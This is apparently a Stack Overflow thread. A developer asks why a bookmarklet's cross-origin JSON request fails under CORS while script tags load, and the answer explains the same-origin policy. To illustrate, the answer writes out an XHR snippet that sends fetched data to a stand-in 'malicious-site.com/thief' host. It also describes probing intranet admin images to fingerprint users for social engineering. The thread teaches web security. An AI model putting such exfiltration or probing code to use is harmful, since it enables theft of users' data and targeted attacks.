0

This code is started in a browser console. Later it will be used as a bookmarklet.

(function(doc) {

    function doStuff() {

        /***************/
        /* } Load data */
        /***************/

        function successfullyLoadData(data){
            debugger;
        }
        function loadData(){
            debugger;
            var data;
            jQuery.ajax({
                dataType: "json",
                url: "https://example.com/wp-content/plugins/n-bookmarklet/static/data/data.json",
                data: data,
                success: successfullyLoadData
            });
        }

        loadData();

        /***************/
        /* } Load data */
        /***************/

    ....



    /**************************/
    /* Load JavaScript libs { */
    /**************************/

    if (typeof jQuery == 'undefined') {
      var script_jQuery = document.createElement('script');
      script_jQuery.src = 'https://example.com/wp-content/themes/nonverbis_reboot_academic/static/js/jquery-3.6.1.min-1.js';
  
      /* call doStuff() after jQuery.js loads */
      script_jQuery.onload = loadEasyTimer;
  
      doc.body.appendChild(script_jQuery);
      console.log('script_jQuery appended to body');
      
    } else {
        console.log('jQuery already included ...');
      /* initialize your code using existing version */
        loadEasyTimer();
    }

    function loadEasyTimer(){
        if (typeof easytimer == 'undefined') {
            var script_easytimer = document.createElement('script');
            script_easytimer.src = 'https://example.com/wp-content/plugins/n-ege-timer/static/js/easytimer.min-1.js';

            /* call doStuff() after jQuery.js loads */
            script_easytimer.onload = doStuff;

            doc.body.appendChild(script_easytimer);
            console.log('script_easytimer appended to body');

        } else {
            console.log('script_easytimer already included ...');
            /* initialize your code using existing version */
            doStuff();
        }
    }

    /**************************/
    /* } Load JavaScript libs */
    /**************************/

})(document)

Problem:

enter image description here

What we have here:

  1. jQuery and Easytimer are loaded.
  2. data.json is not loaded. No 'Access-Control-Allow-Origin'.

Well, json is just data. This protection is mostly about JavaScript. But as we can see JavaScript is executed.

I can add the necessary header to suppress this error.

But I want to understand why this error has something to do with .json and doesn't care about .js?

Trts
  • 985
  • 1
  • 11
  • 24
  • "This protection is mostly about JavaScript" is *completely* incorrect. This has nothing to do with JavaScript or JSON. It's about HTTP requests, which you are making. The content of the request/response is irrelevant. jQuery and EasyTimer are loaded either because they come from the same origin, or because they are served with the appropriate cross-origin header. – user229044 Mar 07 '23 at 16:48
  • @user229044 — No. jQuery and EasyTimer are loaded because they use ` – Quentin Mar 07 '23 at 17:01

1 Answers1

1

In the beginning there were no restrictions on where a resource could be loaded from.

<img src="//example.com/foo.jpeg">

That's an image. The server will give it to the browser. The browser can display it. There's no harm in that.

Then JavaScript came along, and eventually Ajax.

var xhr = new XMLHttpRequest;
xhr.open('GET', '//example.com/foo.json');
xhr.onload(function () {
    const data = xhr.responseText;
    var xhr2  = new XMLHttpRequest;
    xhr.open('POST', '//malicious-site.com/thief');
    xhr.send(data);
});
xhr.send();

So now there is a security problem. Except the same origin policy prevents it.


The theory goes that if you are just displaying data, then it is safe to just display. Only the user can see it.

If you are letting JavaScript read data, then the JavaScript can do anything with it, including malicious things.

JavaScript programs are "just resources" so you can set <script src across origins. It's considered safe.

Reading data with XHR isn't, because the data is exposed to JS.


Here, just to make it clear, I'll point out the mistake you made in framing the question. The CORS requirement isn't about the resource being JSON instead of JS, its about how you access it: XMLHttpRequest instead of <script>


Now, here's the point where I go back to:

The theory goes that if you are just displaying data, then it is safe to just display. Only the user can see it.

… and point out that it is wrong.

There are all sorts of security issues that are exposed by "just displaying" things across origins.

Consider: <img src="https://well-known-intranet-software/admin/status.png">

If the image displays then we know the user has access to a particular brand of internet software and is logged in as an admin.

We can tell that the image is displayed by measuring the offset of the content that follows it from the top of the document.

This sort of information is great research for launching a targetted social engineering attack.

But this was a mistake baked in to browsers decades ago and we're stuck with the legacy behaviour now.

Domenic Denicola (who works for Google) has gone on record about it.

The web's fundamental security model is the same origin policy. We have several legacy exceptions to that rule from before that security model was in place, with script tags being one of the most egregious and most dangerous. (See the various "JSONP" attacks.)

Many years ago, perhaps with the introduction of XHR or web fonts (I can't recall precisely), we drew a line in the sand, and said no new web platform features would break the same origin policy. The existing features need to be grandfathered in and subject to carefully-honed and oft-exploited exceptions, for the sake of not breaking the web, but we certainly can't add any more holes to our security policy.

That's why, from our perspective, making module scripts bypass the CORS protocol (and thus the same-origin policy) is a non-starter. It's not about a specific attack scenario, apart from the ones already enabled by classic scripts; it's about making sure that new features added to the platform don't also suffer from the past's bad security hygiene.

Quentin
  • 914,110
  • 126
  • 1,211
  • 1,335